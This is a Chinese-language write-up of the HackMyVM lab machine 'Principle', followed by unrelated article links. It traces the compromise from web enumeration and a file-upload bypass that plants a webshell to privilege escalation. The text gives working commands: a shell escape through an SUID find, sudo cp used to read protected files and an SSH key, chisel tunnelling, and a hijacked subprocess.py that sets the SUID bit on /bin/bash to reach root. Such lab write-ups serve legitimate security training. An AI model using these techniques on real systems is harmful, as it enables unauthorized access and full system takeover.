当前位置: 首页 > news >正文

hackmyvm-Principle

近况:

很难受、 也很累。 但是庆幸靶机很好

正值清明时节

清明时节雨纷纷 🌧️,路上行人欲断魂 😢。

靶机地址

信息收集

主机发现

image-20250404210301780

端口扫描

image-20250404210429092

80端口仅仅是一个nginx 的欢迎界面而已

image-20250404210507023

robots.txt的内容

image-20250404210608576

hi.html的内容

image-20250404210705161

hackme不存在

image-20250404210807417

investigate的内容

image-20250404210814251

根据提示对这个目录进行目录扫描

image-20250404213709796

image-20250404213910332

According to the Old Testament, the rainbow was created by God after the universal Flood. In the biblical account, it would appear as a sign of the divine will and to remind men of the promise made by God himself to Noah that he would never again destroy the earth with a flood.
Maybe that's why I am a robot?
Maybe that is why I am alone in this world?The answer is here:
-.. --- -- .- .. -. / - ....- .-.. ----- ... .-.-.- .... -- ...-根据《旧约》,彩虹是上帝在大洪水之后创造的。在圣经的记载中,彩虹是神意的标志,提醒人们上帝亲自对诺亚许下的承诺,即他永远不会再用洪水毁灭地球。
也许这就是我成为机器人的原因?
也许这就是我在这个世界上孤独的原因?答案就在这里:
-.. --- -- .- .. -. / - ....- .-.. ----- ... .-.-.- .... -- ...-

image-20250404214002102

嗐,这里我以为域名是DOMAINT4L0S.HMV呢。 将其配置到hosts文件中。之后就不知道怎么做了

后来才知道这里的意思应该是DOMAIN T4L0S.HMV 域名是T4L0S.HMV。将其加入到hosts文件中去

image-20250404214224732

然后用域名去访问

image-20250404214317123

[elohim@principle ~]$ echo "My son, you were born of dust and walk in my garden. Hear now my voice, I am your creator, and I am called $(whoami)."
My son, you were born of dust and walk in my garden. Hear now my voice, I am your creator, and I am called elohim.
<! Elohim is a liar and you must not listen to him, he is not here but it is possible to find him, you must look somewhere else. ->[elohim@principle ~]$ echo “我的儿子,你生于尘土,却在我的花园里行走。现在听听我的声音,我是你的创造者,我被称为 $(whoami)。”
我的儿子,你生于尘土,却在我的花园里行走。现在听听我的声音,我是你的创造者,我被称为 elohim。
<! Elohim 是个骗子,你一定不能听他的,他不在这里,但可以找到他,你必须去别处看看。->

进行子域名枚举

image-20250404215207341

将子域名也加入hosts中

image-20250404215354230

[elohim@principle ~]$ echo "Road to $HOME, but you don't have access to the System. You should not look for the way, you have been warned." 
Road to /gehenna, but you don't have access to the System. You should not look for the way, you have been warned.
<! You're on the right track, he's getting angry! ->[elohim@principle ~]$ echo “通往 $HOME 的道路,但您无权访问系统。您不应该寻找这条路,您已经被警告了。”
通往 /gehenna 的道路,但您无权访问系统。您不应该寻找这条路,您已经被警告了。
<!您走在正确的道路上,他生气了! ->

访问对这个域名进行目录扫描

image-20250404215623406

访问upload.php

image-20250404215642127

是一个文件上传页面

不过当我试着上传一个php文件的时候 它被阻止了

image-20250404215805865

当我把文件后缀名改为png的时候的时

他仍然被阻止

image-20250404215911551

所以我意识到他可能只对文件头进行了校验。没有验证文件拓展名

我修改了文件的拓展名之后,再次进行上传

image-20250404220314585

这次成功的上传了

返回包头部的Location字段显示了上传的文件的位置

然后再使用蚁剑连接

image-20250404220445275

提权

这里拿一个reverse shell

image-20250404220557801

发现find具有suidtalos用户的权限。(请忽略 马赛克部分 因为这是我最开始做题的时候留下的)

image-20250404221059664

使用find . -exec /bin/sh -p \; -quit我们可以将权限提升为talos

/home/talos目录下面有一个note.txt

$ cat note.txt
cat note.txt
Congratulations! You have made it this far thanks to the manipulated file I left you, I knew you would make it!
Now we are very close to finding this false God Elohim.
I left you a file with the name of one of the 12 Gods of Olympus, out of the eye of Elohim ;)
The tool I left you is still your ally. Good luck to you.

12 Gods of Olympus

Afrodita
Apolo
Zeus
Hera
Poseidon
Ares
Atenea
Hermes
Artemisa
Hefesto
Demeter
Hestia

根据这个名单寻找

$ ls
ls
name.txt  note.txt
$ for line in $(cat name.txt); do find / -iname *$line* 2>/dev/null; done
for line in $(cat name.txt); do find / -iname *$line* 2>/dev/null; done
/etc/selinux/Afrodita.key
/usr/lib/modules/6.1.0-9-amd64/kernel/drivers/power/supply/cros_peripheral_charger.ko
/usr/share/zoneinfo/Antarctica/Rothera
/usr/share/zoneinfo/right/Antarctica/Rothera
/usr/share/zoneinfo/Europe/Bucharest
/usr/share/zoneinfo/right/Europe/Bucharest

/etc/selinux/Afrodita.key中发现了talos的密码

$ cat /etc/selinux/Afrodita.key
cat /etc/selinux/Afrodita.key
Here is my password:
Hax0rModeONNow I have done another little trick to help you reach Elohim.
REMEMBER: You need the access key and open the door. Anyway, he has a bad memory and that's why he keeps the lock coded and hidden at home.

现在我们可以切换到talos用户

image-20250404221917476

talos用户可以免密码以elohim用户使用cp

bash-5.2$ ls -al gehenna
ls -al gehenna
total 44
drwxr-xr-x 4 elohim elohim 4096 Apr  4 08:43 .
drwxr-xr-x 4 root   root   4096 Jul  4  2023 ..
-rw------- 1 elohim elohim  574 Apr  4 09:01 .bash_history
-rw-r----- 1 elohim elohim  261 Jul  5  2023 .bash_logout
-rw-r----- 1 elohim elohim 3830 Jul 14  2023 .bashrc
-rw-r----- 1 elohim elohim  777 Jul 13  2023 flag.txt
drw-r----- 3 elohim elohim 4096 Jul  2  2023 .local
-rw-r----- 1 elohim elohim   21 Jul 12  2023 .lock
-rw-r--r-- 1 elohim elohim   42 Apr  4 08:43 os.py
-rw-r----- 1 elohim elohim  807 Jul  6  2023 .profile
drwx------ 2 elohim elohim 4096 Jul  6  2023 .ssh

flag.txt/home/gehenna目录下。但是我们没有读取权限。即使使用cp 将其拷贝出来我们也没有权限读取

flag.txt的内容拷贝到 标准输入stdout

成功读取flag

bash-5.2$ sudo -u elohim /bin/cp gehenna/flag.txt /dev/stdout
sudo -u elohim /bin/cp gehenna/flag.txt /dev/stdout__)\.-..-.__,___,_.-=-. )\`  a`\_.-.__\__,__,__.-=-. `/  \     `\{~,-~-,-~.-~,-,;;;;\ |   '--;`)/\-,~_-~_-,~-,(_(_(;\/   ,;/",-.~_,-~,-~,)_)_)'.  ;;(`~-,_-~,-~(_(_(_(_\  `;\,          `"~~--,)_)_)_)\_   \|\              (_(_/_(_,   \  ;\ '-.       _.--'  /_/_/_)   | |'--.\    .'          /_/    | |))  /       \      |   /.'//  /,        | __.'|  ||//   ||        /`    (  ||||    ||      .'       \ \\||    ||    .'_         \ \\\\   //   / _ `\        \ \\__\'-'/(   _  `\,;        \ '--:,`"`  `"` `-,,;         `"`",,;CONGRATULATIONS, you have defeated me!The flag is:
K***************N

在3445端口上面开放了一个ssh服务但是不接受ipv4地址

image-20250404222541353

此外,可以使用cp将ssh的私钥读取出来

image-20250404222643153

ssh私有有密码保护

image-20250404222819840

/home/gehenna下面还有一个.lock文件,将它读取出来

image-20250404222911831

image-20250404222937254

cyberchef上面可以将其解开(事实上就是16进制)

image-20250404223029625

image-20250404223054890

然后使用chisel将ssh流量代理出来

我的chisel的可执行文件就是main

在靶机上面执行

image-20250404223221978

在你的机器上面执行

image-20250404223248140

然后使用私钥进行ssh连接

image-20250404223327518

登录上去 你会发现使用cd cat 这些命令都无法执行

image-20250404223423442

不过你执行一个bash --noprofile --norc就可以绕过这个限制

image-20250404223513793

elohim用户拥有sudo /usr/bin/python3 /opt/reviewer.py的权限

image-20250404223617499

reviewer.py的内容

image-20250404223758412

sml组对subprocess.py有写入权限。而且elohim又是sml组的用户

image-20250404223847970

所以写入

import os
os.system("chmod +s /bin/bash")

image-20250404223939424

然后执行 sudo /usr/bin/python3 /opt/reviewer.py bash就被加上了 s权限

image-20250404224050045

bash-5.2# whoami
root
bash-5.2# cd /root
bash-5.2# ls
root.txt
bash-5.2# cat 
^C
bash-5.2# cat root.txt 
CONGRATULATIONS, the system has been pwned!_______@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@222@@@@@@@(@@@@@/_____\@@@@@)@@@@(_______)@@@@@@@{ " L " }@@@\@  \ - /  @//    ~    \/ ==        == \<      \ __ /      >/ \          |    /  \/    \       ==+==       \
|      \     ___|_         |
| \//~~~|---/ * ~~~~  |     }
{  /|   |-----/~~~~|  |    /\_ |  /           |__|_ /+w***********g/

结束!


另外

具有s权限的/bin/bash就是我刚才打马赛克的内容

刚才完整的图片如下

2f24b1302bea5c7c2c8fbca68f96adbc


http://www.mrgr.cn/news/97063.html

相关文章:

  • 《概率论与数理统计》期末复习笔记_下
  • QGIS实战系列(六):进阶应用篇——Python 脚本自动化与三维可视化
  • AI医疗诊疗系统设计方案
  • 《概率论与数理统计》期末复习笔记_上
  • Flink 1.20 Kafka Connector:新旧 API 深度解析与迁移指南
  • 函数和模式化——python
  • 低成本训练垂直领域文娱大模型的技术路径
  • 专为 零基础初学者 设计的最简前端学习路线,聚焦核心内容,避免过度扩展,帮你快速入门并建立信心!
  • TortoiseGit多账号切换配置
  • JS dom修改元素的style样式属性
  • selectdb修改表副本
  • 统计学基本原理
  • chromium魔改——navigator.webdriver 检测
  • STM32入门学习笔记(持续更新)
  • Unity中 JobSystem使用整理
  • 学透Spring Boot — 007. 七种配置方式及优先级
  • 【蓝桥杯】第十五届C++B组省赛
  • MySQL-SQL-DDL语句、表结构创建语句语法、表约束、表数据类型
  • github合并多个commit message以及rebase解决文件冲突
  • 【蓝桥杯】算法笔记2